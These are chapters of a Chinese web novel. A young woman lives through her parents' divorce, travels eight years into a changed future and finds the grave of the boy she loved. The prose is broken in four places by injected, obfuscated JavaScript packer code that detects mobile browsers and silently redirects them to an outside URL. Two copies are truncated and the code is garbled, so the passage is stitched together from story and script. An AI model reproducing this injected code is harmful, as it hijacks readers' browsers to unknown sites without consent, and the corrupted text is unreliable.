胸腔里吊着的那口气历经八年才勉强吐完,剩下的一副骨架中空空如也。 那是她第一次接触到死亡,来自至亲之人。 …… “曲葵!……”父亲说了什么她没有听清,只记得曲林把她抱到车里,随后是父母两人在车内无止休的争吵,然后无边无际的黑暗笼罩。 “开门!” “曲葵,开门!听妈妈解释!” …… “我根本就不爱你。每一次看着你,我就会想起我那些失败的烂掉的人生。” “都是你的错,你妈离开都是你的错!如果不是你当初和她对着干,她怎么会不要你。” …… “啪!”巴掌甩到脸上的声音。 “算了,林语邱,离婚吧。” 曲葵被困在遥远的梦中。父母争吵声是潮湿的梦魇,即使梦中的她紧紧捂住耳朵,依然在夜幕降临时缠绕她的心脏,在耳边响彻回荡直至晨光熹微。 睁开眼睛,闻见浓浓的消毒剂。曲葵朝两边看了看,曲林抱手窝在看上去又小又矮的靠背凳子上,侧着头沉睡,长满胡茬的下巴上是微微张开的嘴,发出很响的呼噜声。 曲葵抬起没有插针管的那只手,伸向病房惨白的天花板,白炽灯的光从指缝中透出来。 她还活着,被爱着。 这就够了。 此刻曲葵知道,有什么曾经碎掉的东西被一点点粘合起来了。 曲葵因为高烧导致脱水、惊厥、肠道功能紊乱等多个问题,不得不在医院住院一段时间。 一个月后,曲林和林语邱签了离婚协议书。林语邱开始搬走家中私人物品,包括那些已经积了一层灰的乐器。直至某个晴空日,家中彻底看不见任何属于林语邱的物品。 曲葵站在门口,看她坐进一辆银色的小轿车。 按照林语邱的说法,她和曲林结婚前有个相爱的男友,两人是音乐搭档,是金童玉女,他们才该走进婚姻殿堂。父母反对让林语邱产生报复性心理,故意找了一个看上去平凡,老实巴交,她父母绝对看不上的男人结婚,还和家里断掉联系。手伤退役和爱情失败的双重打击让她开始在牌局中自我沉沦。然后将自己的愿望强加在曲葵身上,可曲葵偏偏不服管教。 后来前男友从朋友那要到林语邱电话,开始频繁联系她。让她的爱情又死灰复燃,至于时间要追溯到什么时候,林语邱没说。 难怪曲葵从没听他们提起过外公外婆,还以为两人和爷爷奶奶一样,在她出生之前就去世。 曲葵接受了林语邱这套说辞。 她发现她的缪斯女神,她的音乐启蒙,其实也只是个被困在过去,渴望幸福的俗人。 曲葵永远不会原谅林语邱。 所以在林语邱关上门时曲葵跑了上去,站在没有关上的车窗前,也当着曲林的面说:“我感谢你,让我学会在没有母爱的世界生存下去。我祝你幸福,是因为你是我妈,但我会更爱我自己和我爸爸。” 事情闹得沸沸扬扬,整条胡同的住户都知道曲葵家发生的事情,背后议论的人居多。同样的事情曲葵经历过一次,表现得极为平静,没有和邻居起冲突。 曲林帮她请了一个月的病假。可能是曲葵表现得太冷静了,没有大吵大闹也没有哭,曲林怕她憋心中太久会出问题,带着她去看心理医生,检查结果正常。 “你要是难过和爸爸说,别憋在心里。” 曲林把车开出医院停车场,曲葵坐在副驾驶,戴着耳机。 过了会,她问:“爸爸,你觉得妈妈离开是我的错吗?” “怎么会是你的错?”曲林说,“别瞎想。离婚就离婚呗,咱父女两个又不是不能把以后的日子过好。” “妈妈是不是早就想和你离婚。” 曲林叹气:“是啊,生你之后就和我提过离婚了,那时你还那么小,我又不想你被同学笑话没有妈妈,就没同意。我也知道你妈不爱我,可人生不就得妥协吗?” 所以后来的酗酒是因为她吗?因为在林语邱离开后唯一的女儿也整天怪他没有好好和妈妈相处,怪他性格窝囊木讷,原本的夫妻不和转变成父女不和,直到那根长久因为心气不足紧绷的弦在某一天彻底断裂。 想清楚这件事情后,曲葵长长呼出一口气,心中闷得发疼。 “爸,对不起。”她用很轻松的语调朝曲林开玩笑,“我小时候是不是特别不听话……特别惹你生气啊。” “为什么要道歉?”曲林不疑有他,“你现在不还是小孩吗,你在爸爸眼里永远是长不大的小孩。嗯,淘气是淘气点了,其实我觉得活泼点更好。” “是吗?” 曲葵看着曲林专注开车的侧脸,眼眶很快红了,默不作声转过头去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943420|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现轿车经过某道熟悉身影。 他迎着秋风,有几缕发丝被吹得朝后扬起。仿佛预感到曲葵在看她,许一宴掀起眼皮,冷淡朝她看向来,口中呼出一口白气,很快消散了。 可惜关着的车窗是防窥材料,他在外面看不见她。 曲林注意到她的举动,问:“看到什么谁了吗?” “看见同班同学。”曲葵说。 “要打招呼吗?” “不用,离得有点远了。” 曲林右转把车开到马路上时,曲葵从后视镜中远远看见有辆出租车停在许一宴面前,他拉开车门,坐进去。出租车与她反方向开走。 病假期间,曲葵在群里看到他们在讨论元旦晚会的表演节目。最后选定小品节目《考试疯云》,她因为请假错过。 期末考结束,高三继续补课。某天傍晚,曲葵去办公室办理转学手续。 “怎么会在这种要紧关头转学?”王范听完后语重心长劝告,“是不是家里出了什么事?你都在这里读了这么多年的书,再坚持一下,考个好点的大学,不就能远离那些事了。” “老师,我爸爸因为工作调去北方,二月初就要搬走了。” “一家人都走吗?爷爷奶奶有没有住在这边,或者其他亲戚。你和家里人商量住他们那三个月嘛,考完试再走,只有五个多月就高考了,你这么一折腾,去了一个新环境,又要面对生面孔,何况教育水平还不一样,这一折腾成绩又要落多少分。” “我在这里没有其他亲戚。”曲葵说。 她那些亲戚全是趋炎附势的人,家里没出事前,平日里小便宜半点没少占,后来得知她家发生的事情,除了在背后嚼舌根,没一个愿意帮忙。曲葵恨透了他们。 王范沉默了一会儿,郑重道:“你已经想好了吗?或者我打电话给你爸爸说说?” “我和我爸已经商量好了。” “想转去的学校也看好了?” “都看好了,也联系过了。” 王范打开抽屉,在一沓4A纸里翻找。 有人敲响办公室虚掩的门。 “进来。”门附近的一个女教师说。 曲葵没有回头,几秒后有片阴影落到自己的身上,她侧目,望见许一宴站在她旁边,还是干干净净的好看模样,侧脸线条流畅分明,眼神清明,像汪着一潭水。 “来了。”王范拿出一张转学申请书给曲葵,“你写好带着相关材料去政教处办理。” 曲葵点点头:“好。” 许一宴看到那张转学申请单,瞳孔剧烈地震颤着,他移开视线,眉眼低垂,说话时语气还是毫无波澜:“老师,你找我。有什么事。” “嗯,想和你谈谈竞赛的事情。”王范说完,见曲葵还站在旁边。 这一幕有点像他几个月前把两人找来谈论恋爱的事情。王范摸了摸鼻子,对曲葵说:“那,曲葵,你先走吧。” “好的。” 曲葵便转头,和抬眸的许一宴短暂相望,许一宴率先移开目光,不再看她。 “同学,你站在这有什么事儿?”年级主任抱着课本和一沓作业走过来,看见曲葵还站在门旁边,问:“同学,你站在办公室门口有什么事吗?” 曲葵说“没事”,便走了。 行政楼出来,曲葵看见花坛中几棵腊梅树,据说是建校那年请人从西南地区运来的,到现在已经活了三十多年。明亮的黄色花瓣正在晦暗天地间一串串绽放,空气中暗香浮动。 扬明几乎不下雪,学校的蜡梅树会在小寒到大寒中最冷的那几天盛开。曲葵这才惊觉,冬天过去这么久了。 有片落叶滚过来,撞上她的鞋尖,又朝远处去,她的命运就像这片落叶,无法决定自己的去向。 那个未来还没有到来,但她已经再不惧怕。 18.晶石 曲葵回家想起《面纱》还没有看完,她打算继续读下去,却找不到那本书了。曲林在客厅看报纸,她问:“爸爸,你把我放茶几上的那本书收起来了吗?” “什么书啊?” “毛姆的那本《面纱》。” “哦,我以为你已经看完了。”曲林说,“潼林离得太远,书都带不走,这一走不知道什么时候才能回来。我想着与其把书放在这里任由书虫啃,还不如卖了。” 曲葵上楼去书房看了眼,书架被清空了,不由有些惋惜。 曲林折叠报纸,“想看的话,明天下班我帮你去书店买。” “不用了,我去学校图书馆看。” 第二天中午曲葵没有回家,食堂吃完饭就去了图书馆。她第一次去学校图书馆,找了一会儿才看见三楼摆放世界名著的书架。 花了几分钟,在第二排找到《面纱》。 曲葵在一个能照到阳光的靠窗角落坐下,听着轻音乐,二十页书很快就读完。心中感慨万千,林语邱带着面纱,她又何尝没有带着面纱。 还有一个半小时才上课,曲葵打算还书后在桌上趴一会。 把书放回书架,书里不知哪页夹着的白色卡片落地,飘出一段距离,在后排书架下方停下。 曲葵走过去蹲下捡起,翻过来。 是张书签,普普通通的卡纸,边缘有撕过的粗糙痕迹,黑色碳素笔写着段小诗,笔锋清秀隽逸—— 「谁说我没有死过 出生以前,太阳 已无数次起落 悠久的时光被悠久的虚无吞并 又以我生日的名义 卷土重来」 灵魂产生被雷电击中的共鸣,短暂过后目光之处已经明灭闪烁。曲葵大口呼吸着,想将那股难以忍受的悸动憋回去。 为什么会这样,不就是段诗吗? 为什么看见一段诗就这么难受。 字迹眼熟,好像在哪里看见过,就在曲葵拿起书签想仔细分辨笔迹时,许一宴压低的声音忽然在身后响起。 “曲葵?” 啊。 不得不说,她和他缘分真的好到每次都能不期而遇。曲葵下意识转头,眼中噙着的那滴泪恰如其分滚落。 许一宴看到她的眼泪,动作蓦然僵住,脸上开始出现不知所措,最后变得好像连话都不会说了:“曲葵……你,怎么哭了。” 曲葵把书签捏在手心,低头擦眼睛,“我哪有哭?” 她真的哭了吗? 不应该啊。 对失去母亲已经感到麻木了,毕竟都那么多年了,也应该很容易接受母亲从来没有爱过她的事实。 “可你看起来很累,也很难过。”许一宴说。平淡的看透她的语气,不给她任何喘息余地。 泪腺好像在许一宴说出这那句话后彻底崩坏,她不知道为什么会这样,也许因为许一宴是林语邱那件事的另一个目睹者,也是唯一的知情者,他总是能看懂她。 又或许,他们同病相怜。 他站在身边的时候,曲葵感到很委屈,直到情绪冲破阈值。 眼泪不受控制地流出。 许一宴翻书包没找到纸,于是也蹲下来,捧着曲葵的脸,用略微带着凉意的柔软指腹不停擦去她脸上泪水。 渐渐地,许一宴的手指也变得湿润温暖。 别擦了,你越这样,我就越想哭。曲葵本想对许一宴说,她怕张口哭声就会泄露,让她感到难堪,只好用力忍住了。 大概几秒的时间,曲葵看见许一宴抬起手,动作轻柔地,把她抱在怀里。 曲葵的脸紧靠许一宴胸口,听见他强劲有力的心跳声,一下又一下。 “不要憋着,想哭就哭出来。”许一宴语气轻而柔和,“这里是角落,不会让别人看见你哭的。”见曲葵没推开他,许一宴又说:“衣服脏了也没关系。” 闻言,曲葵再也忍不住。她攥紧许一宴的外套,埋在他怀中无声地哭着。 许一宴拍她的背,动作温柔缓慢,呼吸轻微,沉默不语。 窗外的阳光那么好,在玻璃上反射金色的光点,再透过来落在他们身上。曲葵却把许一宴的校服外套打湿了,那么多的泪水,仿佛要把那些年独自在外忍受委屈也没有流的泪一次性掉干净。 她想。 只有这最后一次。 从今以后,她不会再为林语邱的离去掉一滴泪。 ** 曲葵把所有唱片和CD装进纸箱,然后把角落积灰的吉他装进盒子,抱着纸箱,背着吉他下楼。 “你看看还有什么东西没拿。”曲林把装满衣服的行李袋塞进后备箱,关上,对她说。 “没有了。”曲葵把纸箱放后座,坐进副驾驶,扣好安全带,把耳机戴上,打开音乐。 扭头静静看着窗外,清晨的天很好,没有多余的云,领居家的爬山虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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轿车驶进昏暗的长隧道,耳机中,曲葵循环多遍的英文歌正好放到高潮部分。 驶出隧道时,断断续续的音乐声像耳机进了水,曲葵以为网卡,低头查看手机信号,屏幕上显示满格,网络没有任何问题。 驶出隧道的瞬间,阳光变得强烈眩目,充斥整片视野。曲林身影在白昼中变得模糊。 “爸?”曲葵呼唤曲林,没有得到回应。 周围画面开始扭曲,曲葵难以实适应闭眼,再次睁开时,她坐在飞速前进的高铁上。 乘客刷电子设备,谈话,孩童哭闹的声音充斥耳膜。 19.螺旋 耳机中,音乐变成德彪西《月光》。曲葵回过神,使劲掐了一把大腿,痛得差点叫出声。 扯下耳机朝外望去,车窗外一望无际的白色平原,玻璃反射的女人裹着厚厚棉服,像只企鹅。 曲葵凑得更近去看,这张脸分明是她二十六岁的模样,只是眼神看上去不再充满厌世和疲惫。 曲葵还未做出反应,头部传来一阵骨刺般钝痛,好像被人用锤子狠狠敲打。空缺八年的记忆涌入大脑,以惊涛骇浪趋势填平每一处空缺的记忆。 2020年1月19日,她回到未来,有一个看上去很平凡又似乎圆满的人生。 放弃音乐道路,高三复读一年,考起邻市一所本科学校,就读经济管理学,最近在忙研三的论文。今天学校放两周年假,曲葵乘坐高铁回潼林,再和曲林坐飞机回扬明祭祖。 她撞见林语邱出轨的事,没有将母亲离开的事情怪罪到父母吵架之上,不再自怨自艾,少了和曲林的争端,曲林没有酗酒也没有赌博。不过两人很少提起林语邱,而林语邱也没有主动和曲葵联系过,好像他们的人生中从来没有存在过这个人。 “潼林就是不一样,每年冬天都下这么大的雪,真神奇。”邻座女生举起手机自拍,转头对她说,“葵葵你座位靠窗,帮我拍下外面吧,我要发朋友圈。” 曲葵望着那张看上去陌生又熟悉的面孔没说话。记忆告诉她女生的名字,叫宋飞菲,她的舍友,家也住潼林,两人假期会相约坐高铁回家。 宋飞菲推推她,抱怨:“干吗又发呆啊。” “想起高中的事。”曲葵面不改色拿走她的手机,对着窗外雪景,调整角度,拍照。 宋飞菲好奇:“高中啊,都过去那么多年了,我连当初暗恋的男生样子都想不起来,你想到了什么?” 曲葵把手机还她:“没什么。” “你的拍照技术还是那么好。”宋飞菲看后粲然一笑,“不觉得这画面很像一部电影吗?” “《雪国列车》?”曲葵说。 “对,还是我们一起看的。”宋飞菲抱着手机戳戳点点,忽然冷哼道,“靠,一个月前加我的那个学弟问我你有没有男朋友,我就奇怪了,这些人都不敢亲自问你吗?” “不知道。”曲葵心不在焉地说。 宋飞菲好奇心泛滥:“你是不是为了谁在守身如玉啊?怎么研究生三年都没见你谈过一个。” “只是不想谈恋爱。” “不信,那你怎么解释你脖子上的项链,之前有人送你项链你不要,还说自己不喜欢穿金戴银。” 闻言,曲葵伸手一摸,果然在锁骨处摸到一条项链。 和许一宴送她的那条银项链一模一样。复古风格,小小的银色方牌上镌刻着一束向日葵。方牌背后还有她名字的首字母缩写,做工很精细。 曲葵并不想回答。 宋飞菲还想八卦,曲葵电话响了。 她手机依旧是高中用的那台,看上去很旧,屏幕上有几条裂痕。 来电联系人是爸爸,曲葵接通电话。 “快到了吗?”曲林声音听起来更沙哑老气,但很健康,吐字清晰,没有醉酒后的胡言乱语。 “快了。”曲葵回避着心中的异样感,这八年她没有参与的人生对她来既真实又陌生,“一小时后就到。” “你和你爸爸感情真好。”宋飞菲靠过来,“我爸从来不给我打电话问我什么时候到。” 曲葵只是笑笑,说,“我睡一会儿。” “好,到站我叫你。” 曲葵闭上眼睛,开始消化记忆。 半小时后,宋飞菲叫她。两人下高铁分别,曲葵坐进一辆的士。出租车在环线公路上上下下,左拐右拐,停在一个老旧小区门口。 未来改变,家还是原来那处。雪地上,几个身穿棉服的老人围着石桌下象棋,都是熟面孔。曲葵拖着行李箱进去,臆想中邻居看笑话的冷嘲热讽没有出现,因为曲林也在其中。 曲葵眼眶湿润很快,停下来,等到呼吸平复下来才走过去叫他:“爸。” “回来了,马上结束。”曲林乐呵呵和她打招呼,旋即低头下去,抓起一颗棋子,啪地放下,“将军!”曲林得意洋洋地说:“老李啊,你怎么又输了呢?” “曲老头你这棋技到底是练了多久。”对面那个老人咬牙切齿地说,“我就不信了赢不了你,再来一局。” 曲林起身摆摆手:“不打了,我闺女还等着我。” 几个人才望着曲葵一通夸赞,曲林的自豪上扬的嘴角就没下来过。 末了有个大妈问:“你闺女谈恋爱了吗,我一个朋友她儿子今年……” “行了你都说多少遍了。”曲林说,“小辈的事情别瞎掺和。” “你这说的什么话,女人要是过了三十岁……” “这不是还没过嘛,她还在读书呢,学校里条件好的那么多要想谈早谈了,况且她有喜欢的人。”曲林不想跟她胡诌,拉着曲葵走了。 曲葵跟在身后抬头望他,曲林头发白了很多,背依旧挺直。这才是曲林该有的未来,正常退休,拿着一份可观的退休金,和邻居相处融洽,喝茶下象棋。 钥匙转动锁孔,门开了,家中干净整洁,没有酒味。 “我早上去菜市场买了条两斤多的鱼,给你煮扬明特色酸菜鱼。”曲林走进厨房,从洗菜池里提起一条草鱼。 曲葵看着鱼生龙活虎摆着尾巴,水滴在光线中到处飞溅。她笑,没什么实感地说:“那我可得好好期待一下。” “机票已经买好,订的是明早九点。”曲林说,“你先收拾吧,我们应该会在扬明呆一个星期。” “我们住哪?原来的那套房需要打扫吧。”家中开着空调,曲葵脱下长款羽绒服,挂在衣帽架上。 “我一个朋友那,已经联系好了。” 曲葵走进房间,装修还是简约风格,墙上挂着吉他,是她高中用的那把,曲葵时不时会弹一下。 曲葵打开行李箱,观察自己带了些什么东西。入目眼帘的就是一本《病隙碎笔》。翻开,一张有折痕,有些泛黄的白色书签,摘抄着的一段诗,自从认出字迹的主人是许一宴之后,曲葵偷偷把那张书签留了下来。 初到潼林,她去书店买了同款书,看完才知诗原来还有下一段。 「午后,如果阳光静寂 你是否能听出 往日已归去哪里? 在光的前端,或思之极处 在被时间忽略的存在之中 生死同一」 她一直记得很深。 曲葵把书放在枕边,躺在床上玩手机,宋飞菲发了一条“已经到家”的消息,曲葵回复“我也到了”,旋即退出去,点开一个很久不用的app。 她有两个高中班级群,高三(七)班那个群已经很多年没人说话。毕业后班里的人各奔东西,除了大一时几个人商量着要去看王范,最后也因为各种原因不了了之。 很多人想忘记高中压抑又枯燥的生活,对于曲葵来说,那生活就在昨天。 心中空落落的,总觉得缺了点什么。 曲葵看着许一宴离线头像。最后和他发消息的时间是曲葵刚到潼林那会儿,二月份潼林下大着雪,她下车看到银装素裹的天地,于是给许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955136|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一宴发去拍摄的雪景。不久后许一宴发来一个电话号码,并回复:【你以后回扬明,给我打电话吧。】 曲葵:【嗯,项链我看到了,很漂亮,谢谢。】 可惜曲葵没有回扬明,也没有机会给许一宴打电话。 现在,他有女朋友吗,或许……结婚了吗? 曲葵没有一点关于许一宴的消息或是记忆。 迟疑后拨通了电话。 “嘟——嘟——您好,您拨打的号码暂时无人接听,请稍后再拨……” … “嘟——嘟——您好,您拨打的号码暂时无人接听,请稍后再拨……” 连续两遍,手机中的电子音在曲葵忐忑不安的心跳声中停止。 曲葵只好给许一宴发消息:【许一宴,我明天回扬明。】 【到时候我们见一面,好不好?】 直到第二天曲葵下飞机,又转火车回到扬明,也没收到许一宴的回复。 扬明大变样,离开是还在修建中的高楼已经竣工,老远就能看见几栋高耸入云的大厦。而街区还是老样子,只是开的铺子不在是十年前熟知的那些了。 曲葵还没来得及回忆往昔,就坐跟着曲林坐公交去他城郊的朋友家,一栋看上去老旧的筒子楼,女儿结婚后在小学附近买了房,这年要去男方老家过,正好空出两间房。 晚上曲林请当年共事的几个同事吃饭下馆子,饭桌上曲葵跟着一圈长辈不停喝酒,曲葵喝得头疼,就和曲林说:“爸,我先走了。” 曲林问:“要不我和你一起?” “不用了,”曲林和同事难的一聚,曲葵也不想扫兴:“我想一个人逛逛,等会自己打车回去。” “行,你注意点安全。” 曲葵刚走出饭店,就被冷得清醒了些,拉上衣服拉链,走进夜色。虽然时间上间隔八年,但她还记得这些道路。曲葵戴上羽绒服帽子,一个人静静在路上走,思考许一宴为什么不回她消息。 是不想见面吗? 心中有事,不一会儿她就走到和许一宴打台球的那条街,西餐厅还开着,不过人没多少,曲葵走上餐厅对面的楼梯,去了二楼。 台球馆已经关闭,球桌已经搬空,玻璃门上贴着铺面转让的公告,复印纸在寒风中摇摇欲坠。 曲葵在二楼的黑暗中站了一会儿,借着半醒半醉的酒意,给许一宴打去第三个电话。 “嘟——嘟——” 漫长的等待,好像时间静止。 就在曲葵以为无人接听的电子提示音就要响起来时,终于有人接通电话。 “你好,是哪位?”是一个温和的、彬彬有礼的女声。 曲葵心凉半截,重重沉下去的同时又有一种想听到许一宴亲自承认的不甘心,她自暴自弃地问:“许一宴在吗。” 避免引起女人误会,她快速补充:“我是他同事,有工作方面问题找他。” “许什么?”女生疑惑反问,“你是不是打错人了?” “你不认识许一宴吗?”曲葵追问道,“我记得,这是他的电话号码。” “不认识,我从来没听说过这个名字。”几秒后女生微微提高音量,反应过来,“啊,你找的难道是前号主?” 曲葵酒意清醒大半,电流感顺着指尖默然无声抵达心脏,心率在惊慌中变得沉重而剧烈,裸露在寒风中的皮肤不住战栗。眼前有些恍惚,曲葵稳住身形,斟酌用词,小心翼翼地问:“麻烦问一下,这个号码你用多久了?” “三年。”女生说。 “……我知道了,谢谢。”曲葵失神地说。 电话被挂断。 20.连环 大年三十早上八点,曲葵去祭祖。 她出生前爷爷奶奶就已去世,据她所知,两位老人去年时间隔十一年,被埋在不同地方。 坟山上人很多,车上不去,只能徒步走。因为不让烧纸,曲林只买了一些水果。 走了快一小时山路,曲林转进半人高的野草丛中,说:“几年没来,差点忘记路。” 曲葵蹙眉望了几秒,跟着走进去,乱蓬蓬的野草打在她外衣上。 奶奶的坟堆长满杂草,曲林一边拔一边说着些老生常谈的话题,保佑曲葵未来平平安安,诸事顺利,成功毕业诸如此类。 曲葵看着墓碑上老人陌生的照片,心里有些发堵,正逢曲林叫她过去,曲葵跪在泥地里磕了几个头。 爷爷埋在山下的公墓,这里阴冷昏暗,被又高又密的松树挡住阳光,有条长而高的台阶,两侧是一排排整齐的墓碑。 台阶走了大半,手中塑料袋忽然断开,苹果接连滚落。 “靠。”曲葵低声骂道,俯身去捡。 有个苹果顺着台阶下滚,中途碾到颗小石子,弹落进右边走道。曲葵进入那排墓碑的小路,捡起时候下意识朝旁望了眼,却看见了个意想不到的名字。 她睁大眼睛僵在原地,瞬息只觉喉咙发紧、呼吸停止、全身血液在逆向流动。直到曲林转头发现她没有跟上来而开始给她打电话,在寂静空荡墓园中突兀回响的声音,如尖锐匕首划破被凝固冻结住的思绪。 曲葵才猛地回神,出窍的灵魂重重回落到躯体里。 那块墓碑上刻着——许一宴之墓。 幻觉吧。 曲葵揉揉眼,心有余悸再望向墓碑,确实是和许一宴一模一样的名字。没贴照片,墓碑周围很干净,没有掉落的松果,前面放着一束半枯萎的白色马蹄莲,显然之前有人来祭奠打扫过。 “站在这里做什么,也不接电话。”曲林在高处看见曲葵,走下来,看见她呆呆站在墓前,“怎么了?” “捡苹果呢。”曲葵努力表现出坦然自若的姿态,提起塑料袋给他看,“以后买东西让人家再套个塑料袋,你看看,断了,多不吉利。” 坐上回市区的公交车,曲葵闭上眼睛,眼前就浮现出刻着许一宴名字的墓碑。 【许一宴,你在哪?】 语音通话无人接通。 【为什么要换手机号码。】 语音通话无人接通。 【回我消息,好不好。】 【许一宴,求你了。】 …… …… 理智似乎远去,冲动之中,曲葵给许一宴发了十多条消息,可无一例外地都没有收到回复,宛如石沉大海,翻不起任何波浪。 不知过了多久,公交车到站,曲林叫了她好几遍曲葵才反应过来下车。谁知停车地方正好有块凹陷处,她魂不守舍,压根没留意脚下,踩进碎石子里,冷不丁跌了一跤。 这一跌,终于把她憋了一路的眼泪摔出来了。 一颗接一颗,像发灾的洪水,怎么都止不住。落在地面,打湿灰尘。 曲林以为她摔到什么要紧地方,忙不迭拉她起来。女儿在高中下半学期突然像变了个人,去掉不爱读书、酒吧卖唱、和男同学厮混等一系列陋习,变得成熟懂事,不再让他操心。 曲林一个大老爷们,从来没有见曲葵哭过,就算他和林语邱离婚那天,也没见曲葵掉眼泪。此时愣在旁边,不知该怎么安慰。 第二天起床,镜子里见眼睛浮肿,曲葵告诉自己别多想,隔了两小时才勉强冷静下来点。她整晚没睡,焦虑烦躁,一颗心跳得快要爆了,又像被紧紧攥住,酸胀发痛。 她用素颜霜遮住黑眼圈,只是眼里的红血丝没有任何办法。 准备出门吃东西,曲葵才发现包不见了。里面虽没装现金,但身份证和银行卡还在里面,特别是钱夹里还有许一宴的照片。 曲葵回忆了一会儿,想不起来在什么地方丢失的。坟山、公墓、公交都有可能,公交可能性最大,那时她浑浑噩噩,记忆都零散细碎。春节人流量大,这趟公交车路线从公墓一直开往火车站,横跨整个扬明市,目前为止,已经过去一天。 拨打公交车热线电话询问无果,曲葵选择报警,给接线员提供相关信息。两天后下午,有人给她打电话:“请问是曲葵女士吗?” “是我。” “我们已经找到你丢失的物品了,请来扬明西城派出所领取。” 曲葵穿上外套,打车到派出所,门口台阶下垃圾桶旁边站着一个男人,穿着便衣,颜色全黑。手中捏着电话,声音压得很低,似乎和人在吵架。 “我今天是不上班,但有个案件要跟更近……啊?什么叫我和我这身衣服结婚去,你把话说清楚,喂?宝宝,喂……靠!” 曲葵走到台阶上,男人转身欲抬腿上来,两人一上一下相视两眼,男人望着曲葵微微挑眉。曲葵不认识他,不过她知道他是警察,于是点头向他问好。 男人没有回答,双眼微微眯起,在打量她。 曲葵提包出来,见刚才那个男人抱手站在不远处光秃秃的银杏树下,面向派出所,是不是低头看手表,似乎在等人。 下班吃饭的年轻警察和他打招呼:“小朱哥,你还杵在这啊,是不是又和嫂子吵架了? 男人说:“吵架怎么了,身为单身狗的你就别说话了。” “别显摆了。”年轻警察啧啧两声,“和我吃饭去?” “你自己去吧,我刚看见朋友,打算说会话。” 年轻警察走后,他看着从大厅出来的曲葵微微张口,有些迟疑。 曲葵停下来,主动对他说:“您有事吗?” “真是你啊,曲葵。”男人爽朗笑了声,“原来你回扬明了。” “您是?” “是我,朱覃。” 曲葵沉默,渐渐将他和少年时代中的某个人联系起来。 “朱覃?” “嗯,看来你不记得我了。”朱覃声音和八年前相比更加成熟,皮肤晒黑不少,头发剪成板寸,下巴一片青胡茬,看着有些时间没修理了,眼神凌厉如带钩子;高了些,但瘦很多,穿着黑夹克。 变化太大,要不是说话语调还保持微微上扬的特点,很难和许一宴身边阳光爱笑的男生联系起来。 “你怎么,去当警察了。”曲葵问。 “害,说来话长了。”朱覃没穿制服,从裤兜中摸出一包烟,抽出一支,想起旁边还站着曲葵,又给按回去,“有空吗,赏脸吃个饭?” 曲葵有太多关于许一宴的问题想问朱覃,便答应了。 两人步行去附近大排档,正值饭点,店里人坐满,喝酒划拳的嘈杂声夹杂烧烤味的白烟从门飘出来,很快就散开。扬明二月初的风不冻骨但冻皮,曲葵不动声色搓了搓放在桌子下的双手。 朱覃把菜单推过来:“吃什么你点。” “你点吧,我都行。”曲葵没有食欲,把菜单推给朱覃。 朱覃没再推脱,抓起菜单问:“有忌口吗?” 曲葵:“没有。” 没有许一宴,她和朱覃只能算相识,朋友都算不上,话不知该从何说起,说什么都尴尬。 朱覃点好菜给曲葵确认,然后递给服务员。 两人相对无言,喝着服务员提来的一壶碧螺春. 不多时,朱覃喉结一滚,问:“这次回来待多久?” “下周就走。”茶水太烫,曲葵无从下口,捧着暖手,“要写毕业论文。” “你还在读书啊。” “嗯,读研。” “挺好的。”朱覃说完,又开始沉默。 老板娘端菜上桌,热腾腾冒着气,炒熟的肉丝里点缀青红辣椒,看着很有食欲,两人谁都没有动筷子,望着对方欲言又止。 曲葵先开口:“年三十那天我去公墓,看到……”说到这,那个她和朱覃都熟知的名字如鲠在喉,半个都说不出来。 朱覃显然知道她在说什么,毕竟两人之间唯一的话题也只有许一宴。他苦涩一笑:“你是不是看见许一宴的墓了? 朱覃这么直白地说出来,曲葵滞住,不知道该怎么接:“嗯,他……” “那座墓就是他的,只不过是空的。”朱覃打断她的话,声音中带了似有似无的呜咽,使得语速缓慢,“许一宴八年前就失踪了……就在你搬家后不久。” 喉咙干得快要着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曲葵曾听开锁师傅讲过八年前扬明高中失踪学生的事件,当时她不以为然,没放在心上,唏嘘过后便抛之脑后,却不知原来她早就听到过有关许一宴的消息。 而这消息成了把回旋镖,在多年后的相仿时间里无情击穿她的心脏。 可如果能事先预料到某个人的结局,命运还能被称为命运吗。 菜还是满的,猪油被风吹凉,和菜一起凝固在盘底,烟灰缸里全是朱覃抽完的烟头。朱覃抬手看表,时间差不多了,便对曲葵说:“我有事得走了。谢谢你听我说这么多。” 曲葵站起来,朝他摇头。 结完帐,两人分道扬镳,曲葵上了出租车,朱覃声音隔着车窗玻璃从上方传来:“曲葵,你和我不同,朝前看吧。” 仿佛映衬她此刻内心,车载电台里放着一首凄悲婉转的歌,长达三分三十秒的纯音乐过去后,歌手才开始唱。 假使参拜远方的祭坛, 信我会在圣像的脚下, 假使观看远山的晚霞, 云是我, … 怀疑途上那儿是我, 可惜通通错荡, 或者我, 在这边, 在那边, 请找我。 “到过去找我。” 曲葵无声望着前方在闪烁路灯下变换的车流。 